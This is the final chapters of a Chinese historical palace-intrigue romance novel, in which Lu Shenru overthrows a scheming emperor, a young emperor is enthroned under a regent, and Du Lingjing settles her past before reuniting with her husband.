他岔开话,见承王逢祥仍旧立在远处的阴影里。 他道,“从前三殿下不便在人前张扬,如今么,陛下何必再一味冷着他?” 皇上也看了“最像他”的三儿子一眼。 “过来。” 少年低着头近前。 皇上对他这畏畏缩缩的模样颇为满意,不过眼下情形不一样了。 “你大哥死了,二哥和四弟也要活不成了,你要继朕之位,总还是要立起来。” 他道,“你身上流着一半鞑靼人的血脉,你记住了,汉人也好,鞑靼人也罢,都应该被你玩弄在股掌之间。” “什么忠臣良将,什么天子骄子,他们在外风风光光的时候,你在宫里连太监都欺凌,所以你做了这皇帝,就是要让他们瞧瞧,就算是再不受人敬重的皇子,一旦做了皇帝,他们也得扑在地上,连连向你叩头。” 皇上瞧着他,“到时候你再回想,被小太监欺凌的日子,有种别样的快感。” 皇上只这么想着,就笑了起来。 但少年低着头并为笑,也无言语。 他确实想起了宫里的太监看人下菜,对他说的话甚少听从。就好比他丢了扇子,想要小太监帮他寻扇,太监不肯。 但是那天,陆侯爷从旁经过,此事与侯爷并无相干,但侯爷似乎是看在贵妃娘娘的面子上,替他冷声训斥了太监…… 逢祥一直低着头。 皇上见这个儿子性子被他故意养得极闷,什么都说不出来。 他料想他只要他的话就行了,这便挥手让他去了。 他则问了大内侍卫的统领。 “魏玦在何处?” 统领回话到魏玦带人一直守在外面。 皇上“嗯”了一声。他对魏玦要说放心也甚是放心,毕竟魏国舅一家都在他手上捏着,但若说不放心,也确实有那么一点。 他总觉魏玦的心思,还远不够冷硬狠辣。 他叫了大内统领,“让魏玦守好此间,但你也要派人盯着魏玦,莫要给他‘心软坏事’的机会。” “是。” * 院外密林之中,天阴阴沉沉,天边滚雷渐近,快要下起霹雷喝闪的暴雨了。 魏玦持着绣春刀负手而立。 阴压的天色与暑热犹如那年,皇上派他去除掉杜阁老的时候。 皇上骤然说出此意,他倒抽了一口冷气。 杜阁老,是静娘的父亲,是他最为敬重的先生。可皇上不许他活,还要让他亲手除掉他。 “去吧,杀了杜致礼,整个锦衣卫日后都是你的。” 皇上说着,看着他笑了一声。 “但若是你手软放了他,你会死,你寡母兄弟姐妹都会死。至于杜致礼,我自然还会让旁人将他除掉。” 他道,“这就是朕给你的考验。朕等着你把你最敬重的阁老杀了,带着他的死讯前来复命……” 多么轻飘飘的几句话,但却像刀一样割在人的心头上。 一刀一刀,一年一年,是凌迟。 密林之中,魏玦痛苦地闭起眼睛。 他这样的人,还活着就已经入了地狱,他再不配这世间的任何美好,尤其年嘉对他纯真的爱意…… 大内统领让人来给他传了话,“皇上让指挥使万万不可懈怠。” 但这两个皇帝亲卫说完却没走,就跟在了他身侧。 魏玦明白,皇帝对他尚有戒心,其实没有这二人,他身边也布满了皇帝监视的眼线。 许多日了,他何曾没动过送信出去的念头,但根本没有机会。 直到眼下,侯爷让世子去调兵了。 侯爷、静娘、世子还有……年嘉…… 皇上是想要他们全都去死。 没入心头的刀子又割在了魏玦的心口上。 他还是得找机会,递信出去,不然,他和皇帝又有什么区别? 谁想就在这时,他突然察觉密林当中隐隐有脚步声。 多年锦衣卫的经历,令他通身警觉紧绷,但他立着没动。 天光暗淡,但他目光缓缓扫去周遭。 有一道几不可察的银色剑光,一闪而过。 是……银雪剑吗? 魏玦身形微微一滞,藏身密林中的陆慎如,就知道他发觉了。 魏玦比他想象得还要机警,不愧是做了锦衣卫指挥使,既如此,他不能再留他了。 然而就在下一息,魏玦忽的转过了身去,将整个人后背留给了陆慎如。 陆慎如一时间按剑未动。 他英眉微挑,忽见魏玦抽出腰间绣春刀,几乎是出刀的一瞬间,不等人反应,径直杀了他身后两个大内侍卫。 连崇平都怔了一怔。 那令人默然倒地,而魏玦转过了身来。 “侯爷,他就在里面。” 陆慎如从密林中向前走了一步,他墨眸冷淡地看着魏玦,并未言语。 魏玦知他对自己难以信任,他只能苦声道。 “我已犯下不可饶恕之罪,但我死之前,还想做点什么。” 陆侯抿了唇。 * 院中。 大内统领去而复返,前来禀报。 “皇上,魏指挥使怀疑有人潜入,欲抽调人手往西边查看。” 皇上皱了眉,兖王问了一句,“他们会否查到此地?” 皇上摇头。 此地陆氏姐弟也好,窦阁老他们也罢,都不可能知道。 若说谁有可能知道,约莫只有皇后了。 但皇后被他留在了宫中,已经殡天。想必陆氏姐弟,亲手杀掉了唯一可能知道的人。 他笑笑,“许是毛贼。” 接着允了魏玦,“让他带人去查吧,速去速回。” 院内外有人手波动,皇帝没再当做一回事,眼见着要下雨了,吃了半盏茶就起了身来。 谁料他同兖王和逢祥,刚走了没几步,忽听周遭竟然乱了起来。 不只是杂乱的脚步,更有隐隐的兵刀相击的声音。 皇上眼皮乍然一跳。 “怎么回事?难道不是毛贼?!” 他急问去,一时无人回答,暴雨之前的气氛低压到,令人呼吸都困难起来。 有亲卫出去查探,谁知还没走出花园的门,大内统领浑身染血地闯了进来。 “皇上,不好了!魏玦带人接应了陆慎如的人马,反杀进来了!” 此言刺入耳中的一瞬间,皇帝眼前晃了一下。 陆慎如找到了此地?! 而魏玦接应陆慎如的兵马,反杀进来?! “他怎么敢?!” 可外围的打斗喊杀之声越来越紧近,皇上之间兖王都变了脸色。 “陛下,此地不能再留,快走!” 皇帝一瞬间回了神来。 他只见兖王这个残废都踉跄着往外跑,他就算恨极,也只能叫上亲卫军。 “速速!护朕离去!” 急怒令他不住咳喘起来,但他忽的想到另一个重要之人。 “逢祥!” 他厉声直呼三子跟紧了他,一起离开。 谁料他那躲在阴影里的畏畏缩缩儿子,忽的跟他摇了头。 “儿臣不走。” “不走?!你不走,陆慎如必杀你!” 可他却道,“儿臣愿意死。” 皇帝重咳一声,外间喊杀之声震天,越发往花园迫近。 “你疯了?!你死什么?朕费心设此死局,就是要让你做皇帝,你怎么能死?!” 但他那沉闷畏缩的儿子却还是摇头,站在墙角里一动不动。 “儿臣不想做这个,沾满了兄弟血的肮脏皇帝!” 肮脏皇帝。 “你敢说朕肮脏?!” 皇帝再没想到他敢有如此言语,他简直要将他一口吃入腹中。 但此刻只能叫了亲卫,“去把他抓来!” 亲卫两下就把瘦弱的少年抓到了皇帝身前。 皇帝看着他这唯一剩下的儿子。 “就算是肮脏,你也必须做这个皇帝!而他陆慎如既除不掉我,也杀不了你!” 他布的局必须得成,没人任何人能阻拦他。 他亲自拽住三子,就要离去。 可那瘦弱的少年被他生生拽着,却没屈从。 他忽的高喊了起来。 “侯爷!陆侯爷!父皇在此地!” 话音如同划破长空的雷鸣一般。 皇帝一瞬之间目眦尽裂。 他难以置信自己要立为继承人的儿子,竟然在高呼陆慎如?! 但去捂他嘴也已经晚了。 有人劈开了花园一道侧门,陆慎如一步踏了进来。 男人身姿高挺如山,分明是低沉阴压的半空,而他披甲持刀、长身立在门前,却近乎将这阴沉的天都顶了起来。 他英眉倒竖,他眉尾如剑。 雷声乍响的下一息,一道白亮的闪电就劈在他身侧的半空中,照亮他染了血的半张英武面庞。 这一瞬,犹如下凡的天将一般。 可他带来的闪电的白亮,却刺得皇帝瞳孔一痛。 他不由自主地颤抖起来,“走!快走!护朕走!” 但到了此时,他还能走? 陆慎如倏地抽出腰间的银雪剑,再无半句多言,直直朝着那狗皇帝极力掷去。 那细长的银剑如同锐利的飞箭,闪着银光直奔他而来。皇帝惊叫。 但这极力一箭,再没人能挡下。 皇帝惊颤欲避,可银剑再不放过他,生生没入他肩头,将他向后钉在了墙上。 “皇上!” 周遭亲卫皆大惊失色,可陆慎如的人手,和反了水的锦衣卫全都闯了进来,再也没人能救驾。 豆大的雨点砸落下几滴,恰就落在男人鼻梁高处、两道在边关护国时留下来的伤疤上。 他抬手抹掉鼻梁上的血与雨,一步一步走到了那皇帝身前。 “陆慎如……”肩头被利剑贯穿,皇帝阴恻恻的眼中看着走上前来的人。 “你为何知道朕在此?” 男人几乎不想跟这样一个阴毒之人废话,可他告诉了他。 “皇上约莫想不到,亲口告诉家姐你在此地的人,是皇后娘娘。” 皇后?! 陆氏姐弟没有杀了皇后,而皇后那么厌恶陆怀如,竟跟她说了地点。 胸腔震荡,口中腥气溢满。 但他却见陆慎如,擦拭起了他手上的另一把刀。 “你要弑君?!”他道,“你永定侯府陆氏,不是自诩忠臣良将,你敢弑君?!” 可他这话出口,却见陆慎如笑了。 陆慎如是笑了。 “弑君?就你,也配当我永定侯府陆氏、世世代代的忠臣良将、慎终如始侍奉的君?!” 他再也不想废话了。 “你只是那阴沟里,见不得光的肮脏虫鼠而已!” 不过他也不会让他这么轻易死去。 他低头看住那狗君,慌了神的眼睛。 “我得让你活着。活着看我长姐陆怀如,是如何登上那至高之位。” 皇帝咳喘了起来,事到如今,他倒也不在乎生死了。 “凤命是吧?登上高位?窦阁老手里可有我立储的诏书,窦阁老和逢祺,会让你陆氏姐弟,做稳这高位?不可能吧!” 他狂笑了起来。 这就是死局,他精心布下的死局。 逢祺和逢祯不管谁坐到那位置之上,另一个人都不会允许,在他们有生之年,争斗不会停息! 他大笑不止。 只是他没想到,陆慎如也笑了。 皇帝一愣,“你笑什么?” 陆慎如更扬了嘴角。 “我笑你机关算尽,却万万全全算错了结果。” “我算错了什么结果?!” 陆慎如盯着他,缓声。 “登上辅政太后高位的,自是我长姐陆怀如,但继任皇帝之位的,却是奉她为母的雍王逢祺!” 文武之间的斗争没那么容易止息。 但是,只有制衡,才是久安之道。 也是破了这皇帝死局之法。 陆慎如话音落地,皇帝口中的腥气再也咽不下去了。 他一口血自震荡的胸腔涌出,喷在了地上。 “怎么可能?这怎么可能?!” 但陆慎如却挥动了手里的刀。 他确实不会立时了结了他,可他狠厉地两刀划下,直接划烂了他的脸。 “没了这张脸,我看谁还能认出你是皇帝。” 一个披着人皮的阴沟里的虫鼠,也配当皇帝。 皇帝哀嚎昏死了过去。 魏玦则把兖王抓了回来。 这位皇叔倒是识时务的很。 “陆侯放了我,谁做皇帝本王都认!可率宗室众人跪拜迎接新皇!” 陆慎如哼着笑了一声。 兖王见他不语,又为自己辩解,说他也只是被皇帝胁迫而已。 魏玦冷声,“是么?荣昌伯的事,难道不是你积极出谋划策?” 他这句一出,兖王便嗤笑起来。 “你魏玦又是什么干净的人?难道陆侯的岳父杜阁老,不是你亲手除掉的?” 陆慎如默然,魏玦知他已经知道了。 他道杜阁老确实是他所害,他低声。 “我该死,也绝不会活。这一点,王爷放心好了。” 魏玦该当如何,陆慎如不想替他的妻做决定。 至于这位皇叔,“殿下,去自刎的荣昌伯面前分说吧!” 话音落地的瞬间,他手下长刀再起,抹了此人脖颈。 雷声阵阵,闪电齐鸣,豆大的雨点越来越急地砸落下来。 陆慎如已然杀红了眼睛。 此间重要之人,还剩下皇上真正想要立为太子的承王逢祥。 少年没有躲避,他抬头看向陆慎如。 “侯爷,能否给我一个痛快?” 他说自己身上也流着一半鞑靼人的血,“我不该活着……请侯爷给我个痛快。” 陆慎如一默。 他忽的想起方才,就是这少年在院中高呼了自己,才让他急速赶来。 身上被存留了一半鞑靼人的血,难道是他的错吗? 男人低眸看着他,跟他摇了摇头。 他是杀红了眼,但还不准备杀死一个无辜的可怜孩子。 谁想瘦弱的少年却道。 “可是侯爷留了我,终是不安。” 他还是有继位的可能,哪怕只是很少的可能。 但陆慎如不想杀他,他仍旧摇头。 少年落下了泪来。 但他真的不能为他那父皇,留下任何可能。 他看向地面,他忽然捡起了地上侍卫留下的刀。 陆慎如未及阻挡,就见少年骤然挥刀,扎掉了自己三根手指。 他亦残了,再无继位的可能。 在场众人皆愕然,陆慎如亦彻底顿住。 “作孽……” 那狗皇真是作了孽,他就不配拥有这些孩子! 崇平立刻扯下衣摆,给承王包扎了起来。 陆慎如闭了双眸又睁开,目光扫向这座皇帝藏身的隐秘宅院。 喊杀声已经停下,大雨也落了下来,此间的血很快就要被冲走,洗涮殆尽。 殷佑十一年暑夏,世上再无殷佑帝。 这位混着鞑靼血脉的皇帝,在名义上,殡天了。 陆慎如缓缓吐出一口浊气。 他转过了身来。 “回京!”【你现在阅读的是 】 【正文完结】 第100章 京城。 钟鸣阵阵, 皇帝殡天。 太子逢祺自行宫扶皇帝灵柩回京,永定侯陆慎如出京恭迎,而皇帝前不久册封的继后陆皇后, 率众开宫门相侯。 满京无人敢多言。 可不知具体情形的人心里无不嘀咕。皇上生前,陆氏一族代表的武将, 与雍王逢祺身边围绕的文臣, 水火不容。前些日陆贵妃得诏册为皇后,雍王逢祺则成了太子。 谁得真诏,谁得假诏,无人知晓。 可众人无不以为, 争斗多年的双方,这场战事再也无可避免。 可是谁都没有想到, 皇帝殡天,新太子扶灵柩回京,陆皇后与其胞弟永定侯陆慎如,竟径直开门迎接。 城中再无兵祸战事, 而新太子与窦阁老, 就这么顺顺当当地, 将大行皇帝送回了京中来。 不知内情的人,心里的猜测都快翻了天, 可谁人如何猜测都不再重要。 太子逢祺在宫门口看到了等着他的人。 他向她唤去。 “母后。” 母亲向他看来,慈爱的脸上露出温柔的笑意, 跟他缓缓点头。 而她身侧,小弟逢祯亦向他悄悄眨着眼睛看来。 少年太子心头不禁得一颤。 母亲、弟弟……他终于回家了。 * 宫内大殿之中。 皇后陆怀如, 将象征一国之君的玉玺,交到了逢祺手中。 “祺儿,你父皇已逝, 从今往后,你便是这万民的君主,是朝野的新君。” 逢祺闻言行大礼,双手接下了玉玺。 窦阁老看着自己选中的君主,眸中有一时水光闪动。 他略沉一气,行至陆怀如面前,亦郑重行礼。 “新君尚且年幼,只恐还坐不稳至尊的龙椅,还请太后娘娘从旁辅政,直到新君及冠之年。” 逢祺今年一十六,距离及冠还有四年。 他亦再行礼到母后面前,“恳请母后辅佐孩儿。” 话音落地,陆怀如伸手,牵起了他的手。 她将他拉起身来,向他定定点头,“好。” 母子双手紧握,共立御台之上。 而陆慎如亦在此时,抬脚走上前来。 他行礼跪拜高台之下。 “臣,永定侯陆慎如,愿为新皇陛下鞍前马后,尽职尽忠,至死不悔。” 他掷地有声。 逢祺不禁向他看去,又连忙抬手。 “侯爷快快请起!” 而窦阁老则在此时,再进一言。 “朝堂文臣武将皆是为国尽忠的良臣,当你中有我,我中有你,而非相对而立,相互攻讦。” 他拜道,“臣请陛下全力起复拂党众臣,拂党众臣清正忠直,一心为国为民,陛下恰而用之,调和文武,以安天下。” 此言出口,陆慎如亦和之。 “臣附议。” 逢祺看向身侧的母后陆怀如,母后跟他含笑点头。 他应了下来,目光远远地向大殿之外看去。 大殿之外,天下尽收眼底,这是属于他的新朝。 少年缓声开口。 “朕当不负群臣希冀,为贤为明,以期盛世降临。” * 京城澄清坊。 杜泠静从京外田庄归来,当先路过澄清坊,脚步就停了下来。 她让崇安驾车到杜家门前,谁想马车到的时候,有两人恰就站在门前,仰头看着门匾,低声言语。 “廖先生?楚先生?何不进门?” 她下了车来,但两人都同她摇了头。 “我们只是路过此地,过来看看阁老而已。” 杜府的宅院空了,但此间曾经住过那为国倾尽全力、却被阴人所害的阁臣。 思及父亲,杜泠静眼眶一热。 两位先生也都叹了气,但廖先生却道。 “静娘不必伤怀,我二人方才立在门前,已将你此番作为,告诉了阁老。” 他道阁老爱女如掌中明珠,“许多事不敢告诉你,是怕你作为女子,在这世间行事为难。但他约莫再没想到,这场世人眼中不可避免,一触即发的战事,竟就在静娘你的倾力奔走之中,消弭了。” 楚先生亦道,“听闻窦阁老,也要全力起复拂臣。咱们家阁老虽然不在了,但当年追随他的拂臣却又得了起复的机会,而拂臣起复,阁老那流离的新政,说不准什么时候就回来了。这又如何不是静娘你的功劳?” 没有她,包括廖栩、扈廷澜在内的一众拂臣,早就丧命保定深山之中。 杜泠静却不敢领功。 两位先生都朝着她笑,“料想阁老今日听了我二人所言,今晚要入静娘梦里了。” 杜泠静眼眶更热,这次她不由道。 “我确实想念父亲了……” 她嗓音发哑,两位先生也都安静了一时。三人皆站在杜府的匾额之下,仰头看着,不知多久。 送走了两位先生,杜泠静倒没再进府邸的门,只是让文伯守好门户。 她没上马车,在京中慢步走着,路过枕月楼的时候,抬头看了一眼。 她忽的想起刚进京那时,自己还满心的低沉,不欲再次多留半分,想要即可藏回到她的书楼之中,外面的事皆与她无关。 那日她本要见蒋太妃,娘娘没见她,只是让朴嬷嬷递了话来。 “娘娘说姑娘还年轻,这世间不独父慈女孝、青梅竹马,也不独书山学海、古今文章。娘娘说,姑娘秉性才学皆高于常人,或该有更高阔的人生,才不枉世间一遭。” 其实,杜泠静到现在也不知道,怎样的人生才算高阔。 但她此时此刻举目望去,暑热的夏日仿佛行进到了末尾,她隐隐看到了秋日才有的高阔天空。 京城清泰了,没有了那藏在金殿之中的恶鬼,她莫名感觉自己不喜的那个权利漩涡在消散,这里仍旧充满了权力,但是好像变回到了她儿时跟随父亲,在此长大的京城。 清风拂过,街巷安泰,天高地阔。 杜泠静回了侯府,她的侯爷还没回来。 “侯爷今日还能回来吗?”她问。 毕竟这等旧帝新君交接之时,最是忙乱。 崇安却说能,“侯爷传了话,说今日一定回家,请夫人等他。” 杜泠静不禁抿唇而笑。 她不等他回家,还能跑了不成? 她一路弯着嘴角回了正院,将这一身沾满了仆仆风尘的衣衫换了下来,廊下有清风吹动裙摆,顿觉世间安静清凉。 但她却想起了什么,举步到西厢房门口,推开了西厢房的门。 三郎的两大箱旧纸页还放置在书案旁。 她想她可能无需再在此中寻找答案了,她只轻轻拿起那张碎纸片,上面落了三郎病时无力的字迹。 这或许就是她要找的答案。 聪慧如三郎,他从父亲的只言片语,蒋氏的暗暗猜测,还有他多年搜集来的朝堂讯息之中,已然嗅到了世道将乱的气息。 这阴诡暗藏,动荡不安的世间即将来临,可他已经没有了能支撑下去、护佑身边人的体魄,常年的病,早就将他的身体掏空。 他如何不想活着,可他就如同这张残碎的旧纸片一样。 世道将乱,病体残躯何以抵挡?拖累而已…… 他不敢再拖了,他尤其不敢娶她过门。 或许他早在跟她定亲的时候,就想好了不会娶她,所以定亲那日,他羞红着脸,穿起了大红的锦袍,与她定下终不会成的姻缘。 杜泠静将那碎纸片,贴在心口。 许多话,他不曾跟她说出口。 但他希望他离开之后,能有比他强而有力的人,早早在这纷乱的世间能与她相扶相护,终得一生的平安顺遂。 杜泠静眼泪滑落了下来。 “三郎,谢谢……” 她将那碎纸片,一直贴在胸前。不知过了多久,她才缓缓取下那张纸片。 她擦掉眼泪,叫了菖蒲,“请蒋六爷到侯府来。” 菖蒲最善跑腿,只要侯府的门卫不把他关在府里,他不一会就打个来回。 这会他回来,把蒋枫川直接带了来。 杜泠静在外院厅中见了他。 她不想跟他废话,见他只向她眼睛里看来,顿时取来碎纸片,递到了他眼前。 蒋枫川在看到纸片的一瞬,面上的不羁顿时散了。 他正坐着,安静了神色,低头将他三哥留下的碎纸片,看了一遍又一遍。 杜泠静道,“此番的震荡,三郎可能隐有预料了。” 她说着,看向蒋枫川,她曾一度以为,他会走岔了路,走上邵伯举的老路。 不过没想到,他比邵伯举倒是聪明多了,冷眼旁观,未陷其中。最为关键之时,反而助了她一把。 他既如此聪颖,想必三郎的意思,他会明白。 厅中静默无言,蒋枫川只盯着那碎纸片,反反复复地看着。 拖累而已。 哥怕拖累什么呢? 怕拖累他的爱人,还是家中老去的爹娘,或是自己这个要背他进京赶考的弟弟,还是……都有? 可是他们没有人,将他当作拖累。 但他却不欲再一年一年熬下去了,熬成一副无法见人的病骷髅,压在他爱的人们心上。 是否他认为,唯有他早点离开这世间,他们才可能收拾起来行囊,赶去下一段路程,去为自己而活? 青年不知道还能说出什么。 他只将纸片看了又看,突然瞧了杜泠静一眼。 “想必夫人以后不需要这张碎纸片了。” 他话中暗含着一些挑事的意涵,杜泠静没理会他,只问。 “你想带走?” 他点头。 杜泠静一默,最后看了那碎纸片一眼。 “三郎,再见。”她在心里默声说出这四个字来。 眼眶已蓄满了眼泪,她却叫了蒋枫川。 “你带走吧。” 蒋枫川闻言,将这张纸片轻轻收了起来。 他最后抬眸,看了她一眼,他看到了她发上的飘带,就飘飘垂在她肩头。 他将方才的神色敛了敛,眉眼间又露出几分不羁来。 他突然开口。 “若是陆侯死了,我会来娶你。” 话音落地,停了一息,杜泠静才张口结舌地回过神来。 他这又是在说什么鬼话? 她这回真有些生了气。 “他不会死,你能不能正经一点?” 别再乱来了。 她冷肃了嗓音,不想青年却瞧着她一笑。 “我是正经的。至于陆侯么,他最好别死。” 这次他说完,没再同她来回扯,他起了身往外走去。 “我走了。” 杜泠静已经不想送他了,她不知六郎抽了那根劲,总说出这样的怪话。 她气得转过了头去,没看到青年行至门口的时候,又回头,最后缓缓看了她一眼。 若有一日陆慎如死了,他真的会来。 不替三哥,只替他自己。 …… 杜泠静在厅中吃掉了一整盏茶,才消了气,又往后宅去。 路上却听见菖蒲同侯府的侍卫,眉飞色舞地讲述她在田庄里的“英勇”作为。 杜泠静连忙上前叫停,“哪有什么英勇作为,莫要夸大。” 谁想崇安先反驳了她,“可是夫人,菖蒲说得没错。若非夫人,眼下天下都要大乱了。” 杜泠静见崇安说得一本正经,连同看她的眼神都不一样了,满是崇敬。 她失笑,刚要说什么,门房来回,说有人上了门来,想要见她。 “是谁?” “回夫人,是锦衣卫的魏指挥使。” 魏玦。 杜泠静又回到了方才的厅里。 魏玦穿了一身素衣,他见到杜泠静,便从腰间取出一把匕首,反过来递给杜泠静。 匕首冷利的尖,对着他的心口。 他低着头,“阁老是我所害,我再没有任何可为自己辩解的。静娘杀了我,为阁老报仇吧。” 他把匕首放到了杜泠静手心里,将自己的一生最大的耻辱,终于都交给她,请她为他做个了结。 他平静地闭起了眼睛。 杜泠静抬眸看了着他,她抬起手,持着那匕首,割掉了他鬓角一缕黑发。 魏玦愕然睁开双眼。 “静娘……”他颤声,“不可如此!” 他见杜泠静红着眼睛,将匕首交还给了他。 他死活不肯接下来。 “静娘,是我杀了阁老,难道阁老一命,就抵我几根头发吗?” 杜泠静摇着头说没法抵。 “可你也只是这把匕首而已,真正持着匕首的人,不是你。” 魏玦定定看着她,多年的痛苦早已杀灭他的心神,他可以随时死在她面前,以此赎罪。 但她却忽的叫了他一声。 “将军。” 她没叫他指挥使,没叫他魏玦,她叫他“将军”。 “将军不是一直想离开京城,到战场上保家卫国,建功立业吗?” 她道,“你去吧。若哪日马革裹尸,就当是我与你做的了结。” 魏玦彻底闭起了眼睛。她所谓的结局,怎么抵得他犯的重罪。 “静娘,你心太软了……” 杜泠静承认。 她是心软,这是她的毛病,尤其是对旧物和这些旧人。 她抹掉眼泪,请魏玦回去,“战场比我,更需要你这条命。” 她把魏玦撵走了。 年嘉那些年始终想不通的事,她替她明了了。 可年嘉已经走上了新的生活,世子是能让她重新得到安抚与温暖的人。 至于魏玦。 他们终是在命运的岔路口,不可挽回地错过了。 杜泠静站在侯府门口沉默良久。 但她突然意识到,有那么一个人,她庆幸自己没有错过。 她当即就叫了崇安和菖蒲前来。 她让菖蒲去打听,“问问侯爷会从哪个宫门出来”,又叫了崇安,“我们去宫门前等他。” 两人分头行动,她收拾了一番,这便往宫门前而去。 马车一路驶向宫门。 陆慎如刚自宫门出来,正要打马回家,忽的一眼看到了刚刚驶到宫门外的家中的马车。 天热着,马车里面的人在里间坐不住,提着裙子下了车来。 崇安扶她下车,她没瞧见他,只从艾叶手里,取了扇子打扇。 陆侯的目光定住了。 他下意识想问她为什么会在这里,但又在一瞬之后得出答案。 她是来接他的,她不想在府里等了,她来接他回家。 男人不禁地摇了头。 夕阳悬在宫墙边缘,映出漫天的火红余晖。 他曾一直以为,他在她心里,这一辈都不可能比得过蒋竹修。 蒋竹修占九成八成,他只能占一成两成。 可她已经是他的妻了,他想如此他还有什么所求,她还愿意叫他“夫君”,哪怕是他执意求来的。 但直到那日,崇安告诉他,夫人在极力为他奔走。 她还怀着身孕,她去说服这个,去又说服那个,她忍着身子的不适,来来回回在众人中间搭桥。 崇安引了她跟窦阁老的原话。 她说,“家夫陆慎如,是这世间最重情重义的人,他绝不会做出背信弃义的事,我可以性命担保。为今之计,还请阁老与他握手言和,才是唯一出路!” 她叫他“家夫”。 而姐姐问他,“你当她如此奔波是为了谁?你到现在还不明白吗?” 男人只看着那个大热的天气,前来宫门口接他的人。 “泉泉……” 杜泠静隐隐听见有人似乎叫了她一声。 还没等她循声望去,一阵疾风瞬间而至,将她拢拢拥尽了怀里。 他的怀抱,就是这世间最坚实安稳的地方。 他将下巴抵在她头顶的发髻上。 他的力道快将她压扁了,但她只笑,抽出手臂回拥了他。 她的力道亦重,但对男人来说就像小猫儿一样,可他心头却酸得难受。 他怎么那么笨?他怎么会一直觉得她不够爱他?! “泉泉……” 他错得离谱。 陆惟石哑声问他的娘子,“是不是生我的气了?” 无缘无故跟她闹了那么久。 她没说不是,她静默不言。 “你真生气了……”男人无措,只能将她越发抱紧怀中。 而杜泠静道是。 “我是生气,气侯爷出了事,就不肯接我回京了。” 这话令陆侯一顿。 而她又道,“但我会自己叩开城门,自己回来找你。” 这一句,简直令刚强的男人落下泪来。 他死咬了牙,又听见怀里的人道。 “不过下次,侯爷再不让我回来,我就不回来了。” 男人一慌,“我怎会再如此?” 他将她步步拥紧,杜泠静快透不过气了,幸好吹来一阵风。 杜泠静继续开口,抬眸看了他一眼。 “那可不好说。万一侯爷有了旁人,不许我回家,我还非凑上来不成?” “浑话!”他斥她。 难不成他还真能有什么酒楼歌姬、世家贵女、寺中小尼,还有鞑靼公主? 和鞑靼公主生了孩子的人,可不是他陆慎如。 男人低头看住了怀中的妻。 西斜的日头,悄然从城楼上落了下去,火红的霞光如轻纱掩住半边天空。 他一贯低哑的嗓音缓声。 “我陆慎如,此生只有泉泉一人。” 他看着她如清泉一般水亮的眼眸。 “此心,惟许我的侯夫人。” 霞光漫天,红墙朱漆的宫墙宫门外,杜泠静迎着风,抿唇笑了起来。 清风吹起她鬓角的碎发,而男人在此时低下头,将那轻柔的吻意,落在了她柔润的唇畔。 此心,惟许,侯夫人。 * 正文完结。【你现在阅读的是 】